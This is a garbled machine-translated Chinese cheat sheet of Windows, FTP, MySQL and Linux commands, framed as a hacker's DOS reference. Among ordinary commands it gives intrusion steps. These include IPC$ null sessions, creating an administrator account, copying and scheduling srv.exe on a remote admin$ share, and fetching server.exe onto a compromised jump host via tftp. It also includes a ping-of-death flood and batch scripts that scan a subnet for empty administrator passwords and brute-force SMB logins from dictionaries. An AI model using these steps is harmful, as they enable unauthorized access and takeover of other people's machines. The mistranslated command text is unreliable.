基於黑客的DOS（最完整的）
-
凈使用金額“》；\ \ IP \ ipc $““/user:““建立IPC空鏈接。
凈使用金額“》；\ \ IP \ ipc $“password“/user:“用戶名“建立IPC非空鏈接。
net use h:$“& gt；\ \ IP \ C $“password“/用戶:“用戶名“直接登錄並映射對方C:本地為H:
net use h:$“& gt；\\ip\c$登錄後映射對方。丙:
凈使用金額“》；\\ip\ipc$ /del刪除ipc鏈接。
Net use h: /del刪除從另壹端到名為h的本地映射:
網絡用戶用戶名密碼/添加創建用戶。
網絡用戶來賓/活動:是激活來賓用戶。
Net用戶查看那裏有哪些用戶。
Net用戶帳戶名查看帳戶的屬性。
Net本地組管理員用戶名/add向管理員添加“用戶”以使其具有管理員權限。註意:在管理員後面加上復數s。
Net開始查看哪些服務已打開。
網絡啟動服務名稱啟動服務；（例如網絡啟動遠程登錄、網絡啟動時間表）
網絡停止服務名稱停止服務。
Net time \\目標ip檢查對方的時間。
Net time \\ Target ip /set設置本地計算機的時間以與“目標ip”主機的時間同步，並添加參數/yes以取消確認信息。
Net查看本地局域網中啟用了哪些* * *權限。
Net view \\ip查看對方局域網中啟用了哪些* * *權限。
網絡配置顯示系統網絡設置。
網絡註銷斷開* * *享受
網絡暫停服務名稱暫停服務。
網絡發送ip“文本消息”向對方發送消息。
網絡中使用的網絡連接類型和信息。
網絡分享查看當地* * *享受。
凈分享ipc$開放ipc$***享受。
凈份額ipc$ /del刪除ipc$***
凈份額c$ /del Delete c: * *享受。
Net用戶guest 12345登錄後，將密碼更改為12345。
Net password密碼更改系統登錄密碼。
Netstat -a查看哪些端口是打開的。經常使用netstat -an。
Netstat -n檢查端口的網絡連接，通常是netstat -an。
Netstat -v查看工作進度
netstat -p協議名稱示例:netstat -p tcq/ip查看協議的使用情況（查看tcp/ip協議的使用情況）。
Netstat -s查看所有正在使用的協議的使用情況。
Nbtstat -A ip對方136到139的其中壹個ip端口打開，可以檢查對方最近登錄的用戶名（03之前的用戶名）-註意:參數-A應該大寫。
tracert-參數ip（或計算機名）跟蹤路由（數據包），參數:“-w number”用於設置超時間隔。
Ping ip（或域名）向另壹臺主機發送默認大小為32字節的數據。參數是“-l【space】數據包大小“；“-n次發送數據”；“-t”的意思是壹直ping。
Ping -t -l 65550 ip Ping of death（發送大於64K的文件並壹直ping會變成ping of death）。
Ipconfig（winipcfg）用於windows NT和XP（windows 95 98）查看本地ip地址，ipconfig可以使用參數“/all”顯示所有配置信息。
Tlist -t在樹行列表中顯示進程（它是系統的附加工具，默認情況下不安裝，位於安裝目錄的Support/tools文件夾中）。
將-F參數添加到kill -F進程名稱中以強制結束某個進程（它是系統的附加工具，默認情況下不會安裝，位於安裝目錄的Support/tools文件夾中）。
添加-F參數後可以刪除Del -F文件名。/AR、/AH、/AS和/AA分別表示刪除只讀、隱藏、系統和歸檔文件。/A-R、/A-H、/A-S和/A-A表示刪除只讀、隱藏、系統和歸檔文件以外的文件。例如“DEL/AR *。*“表示刪除當前目錄中的所有只讀文件，“DEL/A-S *。*“表示刪除當前目錄中除系統文件以外的所有文件。
刪除/S /Q目錄或使用:rmdir /s /Q directory /S刪除該目錄及其下的所有子目錄和文件。同時使用參數/Q取消刪除操作，在系統確認後直接刪除。（兩個命令具有相同的效果）
移動驅動器號\路徑\存儲要移動的文件名的路徑\移動文件名後，使用參數/y取消提示確認移動目錄中存在相同文件並直接覆蓋。
fc one . txt two . txt & gt；3t.txt比較兩個文件並將差異輸出到3t.txt文件。“》”和“》》；這是壹個重定向命令
at id號打開已註冊的計劃任務。
At /delete停止所有計劃的任務，使用參數/yes，無需確認即可直接停止。
在id號/delete處停止已註冊的計劃任務。
查看所有計劃任務。
在\\ip時間程序名稱（或命令）/r在某個時間運行另壹方的程序並重新啟動計算機。
手指用戶名@主機，查看最近有哪些用戶登錄。
Telnet ip端口遠離登錄服務器，默認端口為23。
Open ip連接到IP（telnet登錄後的命令）
Telnet:在這臺機器上直接鍵入telnet將在這臺機器上輸入telnet。
復制路徑\文件名1路徑\文件名2 /y將文件1復制到指定目錄作為文件2，並在您想要覆蓋現有目錄文件的同時使用參數/y取消確認。
復制c:\ SRV . exe $“& gt；\\ip\admin$將本地c:\srv.exe復制到對方的admin。
cppy 1st.jpg/b+2st.txt/a 3st.jpg將2st . txt的內容隱藏到1st . jpg中以在3st.jpg生成壹個新文件。註意:2st.txt文件的頭應該空三行。參數:/b指二進制文件，/a指ASCLL文件。
復制$ \ svv . exe“& gt；\ \ IP \ admin $ \ svv . exe c:\ or:copy \ \ IP \ admin $ \ *。*將其他admini $ * * *使用的srv.exe文件（所有文件）復制到本地c:
Xcopy文件或目錄樹目標地址\目錄名復制文件和目錄樹，覆蓋同壹個文件而不使用參數/y提示。
Tftp -i自己的IP（當使用肉機作為跳板時使用肉機IP）登錄後獲取server.exe c:\server . exe，將“IP”的server.exe下載到目標主機C:\ server。exe參數:-i表示以二進制模式傳輸，例如傳輸EXE文件時；如果沒有添加-i，則以ASCII模式（傳輸文本文件模式）傳輸。
Tftp -i IP put c:\server.exe登錄並將本地c:\server.exe上傳到主機。
ftp ip端口用於將文件上傳到服務器或執行文件操作。默認端口是21。Bin指二進制傳輸（可執行文件入口）；默認情況下，它以ASCII格式傳輸（如果是文本文件）。
路由打印顯示IP路由，主要顯示網絡地址網絡地址、子網掩碼網絡掩碼、網關地址網關地址和接口地址接口。
Arp檢查並處理ARP緩存。ARP表示名稱解析，負責將IP解析為物理MAC地址。Arp -a將顯示所有信息。
啟動程序名稱或命令/max或/min打開壹個新窗口並最大化（最小化）運行壹個程序或命令。
用於檢查cpu使用情況的內存
屬性文件名（目錄名）查看文件（目錄）的屬性。
Attrib文件名-A -R -S -H或+A +R +S +H刪除（添加）文件的存檔、只讀、系統和隱藏屬性。with+作為屬性添加。
查看文件的目錄。參數:/Q顯示文件和目錄屬於哪個用戶，/T:C顯示文件創建時間，/T:A顯示文件上次訪問時間，/T:W顯示文件上次修改時間。
日期/時間/t使用該參數，即“日期/t”和“時間/T”，將僅顯示當前日期和時間，無需輸入新的日期和時間。
Set指定環境變量名稱=要分配給變量的字符設置環境變量。
Set顯示所有當前環境變量。
Set p（或其他字符）顯示當前以字符p（或其他字符）開頭的所有環境變量。
暫停暫停批處理程序並顯示:請按任意鍵繼續。....
If在批處理程序中執行條件處理（有關更多詳細信息，請參見if命令和變量）
goto標記將cmd.exe指向批處理程序中的標記行（標記必須是單獨的壹行，並以冒號開頭，例如“:start”標記）。
調用路徑\批處理文件名從批處理程序調用另壹個批處理程序（請參見call/？)
For對壹組文件中的每個文件執行特定命令（有關更多詳細信息，請參見for命令和變量）。
回聲打開或關閉打開或關閉回聲，並顯示當前回聲設置，僅顯示回聲而不顯示參數。
回聲信息在屏幕上顯示信息。
回顯信息》》；Pass.txt將“信息”保存到pass.txt文件中。
Find str“Hello“aa.txt在aa . txt文件中查找字符串Hello。
查找文件名查找文件
標題標題名稱更改CMD窗口的標題名稱。
顏色值設置cmd控制臺的前景和背景顏色；0 =黑色，1 =藍色，2 =綠色，3 =淺綠色，4 =紅色，5 =紫色，6 =黃色，7=白色，8=灰色，9=淺藍色，a =淺綠色，B=淺綠色，C=淺紅色，D=淺紫色。
提示名稱更改cmd.exe的顯示命令提示（統壹將C:\ D:\更改為:EntSky\）。
打印文件名打印文本文件
Ver在DOS窗口中顯示版本信息。
Winver彈出窗口顯示版本信息（內存大小、系統版本、補丁版本、計算機名稱）。
Format letter /FS: type格式化磁盤，類型:FAT、FAT32、NTFS例如:Format D: /FS:NTFS。
Md目錄名稱創建目錄
替換要替換的文件的源文件目錄替換文件
Ren原始文件名新文件名重命名文件名
Tree以樹形結構顯示目錄，第壹個文件夾中的文件名將使用參數-f列出。
類型文件名顯示文本文件的內容。
更多文件名逐屏顯示輸出文件。
Doskey命令鎖定=字符
用於解鎖的Doskey命令=為DOS提供的鎖定命令（編輯命令行、調用win2k命令和創建宏）。例如:lock dir命令:doskey dir=entsky（不能使用doskey dir = dir）；解鎖:doskey dir=
Taskmgr調用任務管理器
Chkdsk /F D:檢查磁盤D並顯示狀態報告；添加參數/f並修復磁盤上的錯誤。
Tlntadmn telnt服務admn，鍵入Tlntadmn，選擇3，然後選擇8以將telnet服務的默認端口23更改為任何其他端口。
退出退出cmd.exe程序或目前，使用參數/B退出當前批處理腳本而不是cmd.exe。
路徑路徑\可執行文件的文件名設置可執行文件的路徑。
Cmd啟動win2K命令解釋窗口。參數:/eff，/en關閉和打開命令擴展。見cmd/？
regedit /s註冊表文件名被導入註冊表中；參數/S是指沒有任何提示的安靜模式導入；
Regedit /e註冊表文件名導出註冊表
Cacls文件名參數顯示或修改文件訪問控制列表（ACL）-對於NTFS格式。參數:/D用戶名:設置為拒絕用戶訪問；/P用戶名:perm替換指定用戶的訪問權限；/G用戶名:perm給予指定用戶訪問權限；Perm可以是:N無，R讀，W寫，C改（寫），F完全控制；示例:cacls D:\test.txt /D pub設置D:\test.txt以拒絕pub用戶的訪問。
Cacls文件名查看文件的訪問用戶權限列表。
REM文本內容向批處理文件添加註釋
查看或更改本地網絡配置
IIS服務命令:
Iisreset /reboot重新啟動win2k計算機（但有系統將重新啟動的提示）。
Iisreset /start或stop啟動（停止）所有Internet服務。
Iisreset /restart停止並重新啟動所有Internet服務。
Iisreset /status顯示所有Internet服務的狀態。
Iisreset /enable或disable啟用（禁用）本地系統上Internet服務的重新啟動。
Iisreset /rebootonerror啟動、停止或重新啟動Internet服務時，如果出現錯誤，它將重新啟動。
如果無法停止Internet服務，Iisreset /noforce不會強制終止Internet服務。
超時（秒）過期時，Iisreset /timeout Val未停止Internet服務。如果指定了/rebooterror參數，計算機將重新啟動。默認值為重啟20秒、停止60秒和重啟0秒。
FTP命令:（細節稍後給出）
ftp的命令行格式是:
FTP-V-D-I-N-G【主機名】-V顯示遠程服務器的所有響應信息。
-d使用調試模式。
-n限制ftp的自動登錄，即不使用。netrc文件。
-g取消全局文件名。
幫助【命令】還是？【命令】查看命令描述
Bye或quit終止主機FTP進程並退出FTP管理模式。
Pwd列出當前遠程主機目錄。
上傳或發送本地文件名【上傳到主機的文件名】將本地文件發送到遠程主機。
Get或recv【遠程主機的文件名】【下載到本地後的文件名】從遠程主機傳輸到本地主機。
mget【remote-files】從遠程主機向本地主機接收壹批文件。
Mput local-files將壹批文件從本地主機傳輸到遠程主機。
Dir或ls【remote-directory】【local-file】列出當前遠程主機目錄中的文件。如果有本地文件，則將結果寫入本地文件。
Ascii設置文件以ASCII格式發送（默認值）。
Bin或image設置文件以二進制模式發送。
每次完成文件傳輸時，Bell都會發出警報。
Cdup返回到上壹個目錄。
關閉中斷與遠程服務器的ftp會話（對應於打開）
open host【port】建立指定ftp服務器的連接，並可以指定連接端口。
刪除從遠程主機上刪除文件。
刪除壹批文件。
Mkdir directory-name在遠程主機中創建目錄。
重命名【從】【到】更改遠程主機中的文件名。
Rmdir directory-name刪除遠程主機中的目錄。
狀態顯示當前FTP狀態。
系統顯示遠程主機系統類型。
用戶用戶名【密碼】【帳戶】使用不同的用戶名再次登錄遠程主機。
open host【port】重新建立新連接。
提示交互提示模式
Macdef定義宏命令
lcd會更改當前本地主機的工作目錄，如果默認，它將轉到當前用戶的主目錄。
Chmod更改遠程主機的文件權限。
當大小寫處於啟用狀態時，由MGET命令復制的文件名將被傳輸到本地計算機，並且所有文件都將轉換為小寫字母。
Cd remote-dir進入遠程主機目錄。
Cdup進入遠程主機目錄的父目錄。
！在本地機器中執行交互式shell，exit返回ftp環境，例如！ls*。活力
MYSQL命令:
Mysql -h主機地址-u用戶名-p密碼連接MySQL；如果MYSQL剛剛安裝，超級用戶root沒有密碼。
（例如:MySQL-h 110.110.1110-urot-p 123456）
註意:u和root可以留空，其他也可以留空）
退出退出MYSQL
Mysqladmin -u username -p舊密碼新密碼更改密碼
授予對數據庫的select權限。*到用戶名@由“密碼”標識的登錄主機；添加新用戶。（註意:與上面不同的是，下面是MYSQL環境中的所有命令，因此它們後面都有壹個分號作為命令終止符。)
顯示數據庫；顯示數據庫列表。壹開始只有兩個數據庫:mysql和test。Mysql庫很重要。它包含MYSQL系統信息。我們實際上是在更改密碼和添加新用戶時使用該庫進行操作。
使用mysql
顯示表格；顯示庫中的數據表
描述表名；顯示數據表的結構
創建數據庫庫名稱；建造圖書館
使用庫名；
創建表表名（字段設置列表）；制作手表
刪除數據庫庫名稱；
Drop table表名；刪除數據庫和刪除表
從表名中刪除；清除表中的記錄
Select * from表名；在表中顯示記錄
MySQL dump-opt school & gt；School.bbb備份數據庫:（命令在DOS的\\mysql\\bin目錄下執行）；註意:將數據庫school備份到文件school.bbb，這是壹個具有任意文件名的文本文件。打開它，看看妳是否會發現新的東西。
win2003系統下的新命令（實用部分）:
shut down/參數關閉或重新啟動本地或遠程主機。
參數描述:/S關閉主機，/R重新啟動主機，/T在0 ~ 180秒範圍內設置延遲時間，/A取消啟動，/m//由IP指定的遠程主機。
示例:shutdown /r /t 0立即重新啟動本地主機（無延遲）
Taskill/parameter進程名稱或進程的pid終止壹個或多個任務和進程。
參數說明:/pid要終止進程的pid，可以使用tasklist命令獲取每個進程的pid，/IM要終止的進程的進程名，/F強制終止進程，/T終止指定的進程及其啟動的子進程。
任務列表顯示當前在本地和遠程主機上運行的進程、服務和服務進程的進程標識符（PID）。
參數說明:/M列出當前進程加載的dll文件，/SVC顯示每個進程對應的服務，如果沒有參數，則只列出當前進程。
Linux系統下的基本命令:區分大小寫。
Uname顯示版本信息（與win2K版本相同）
Dir顯示當前目錄文件，ls -al顯示隱藏文件（與win2K的dir相同）。
查詢當前目錄位置。
Cd cd..回到上壹個目錄，註意cd和之間有壹個空格...CD/返回根目錄。
卡特彼勒文件名查看文件內容
cat & gtAbc.txt將內容寫入文件abc.txt。
更多文件名逐頁顯示文本文件。
Cp復制文件
Mv移動文件
Rm文件名刪除文件，rm -a目錄名刪除目錄和子目錄。
Mkdir目錄名創建目錄
Rmdir刪除子目錄，並且目錄中沒有文檔。
Chmod設置文件或目錄的訪問權限。
Grep在文件中查找字符串。
差異文件比較
查找文件搜索
日期當前日期和時間。
他詢問當前與您使用同壹臺機器的人以及登錄的時間和地點。
w查詢當前計算機用戶的詳細信息。
請檢查您的帳戶名稱。
群查看某人的群。
Passwd更改密碼
歷史，檢查妳自己的命令。
Ps顯示進程狀態。
Kill停止進程。
Gcc黑客通常用它來編譯用C語言編寫的文件。
Su權限被轉換為指定的用戶。
Telnet IP telnet連接到另壹臺主機（與win2K相同），當出現bash$時，連接成功。
Ftp ftp連接到服務器（與win2K相同）。
附件:批處理命令和變量
1:for命令和變量的基本格式:
FOR/parameter % variable in（set）docommand【command _ parameters】% variable:指定壹個單字母可替換參數，如:%i，並使用:%%i指定壹個變量，並使用:%i%調用該變量，該變量區分大小寫（%i不等於%i）。
批處理壹次可以處理的變量範圍為%0-%9 * * * 10，其中%0默認用於批處理文件名，而%1是使用此批處理時輸入的第壹個值。同樣，% 2-%9是指輸入的第二個到第九個值；示例:net use $“》gt；\ \ ip \ ipC $ pass/user:用戶中的IP是%1，pass是% 2，用戶是%3。
（set）:使用通配符指定壹個文件或壹組文件，例如（D:\user.txt）和（1 1 254）（1-1 254）、{“（1 65438+）“（1-1 254）“說明:從254到1}
命令:指定要在第壹個文件上執行的命令，例如:net use命令；如果要執行多個命令，命令此房間添加:&；分開
Command_parameters:為特定命令指定參數或命令行開關。
IN（set）:指IN（set）中的值；DO命令:指執行命令。
參數:/L表示增量形式{（set）是增量形式}；/F表示連續從文件中獲取值，直到完成為止{（set）是壹個文件，例如（d:\ pass . txt）}。
用法示例:
@關閉回聲
回顯使用格式:test.bat *。*.*》test . txt
對於/L % % G in（1 1 254），請執行echo %1。% % G & gt& gt測試。& amp凈使用\ \% 1。%% g/user: administrator | find“命令成功完成“》& gt測試。txt
另存為test.bat的說明:依次嘗試為指定C類網段的254個IP建立管理員密碼為空的IPC$連接。如果成功，將IP保存在test.txt中。
/L是指增量形式（即從1-254或254-1）；輸入IP的前三位數字:*。*.*是批處理的默認% 1；%%G是變量（ip的最後壹位）；& amp用於分隔echo和net use命令；|是指建立ipc$，在結果中用find查看是否有“命令成功完成”的信息；%1.%%G是完整的IP地址；（1 1 254）是指起始值、增長金額和結束值。
@關閉回聲
回顯使用格式:ok.bat ip
對於（D:\user.dic）中的/F %%i，請執行smb.exe % 1% % I D:\ pass . DIC 200
另存為:ok.exe描述:輸入IP後，使用字典文件d:\pass.dic解密d:\user.dic中的用戶密碼，直到該文件中的所有值都被獲取。%%i是用戶名；%1是輸入的IP地址（默認）。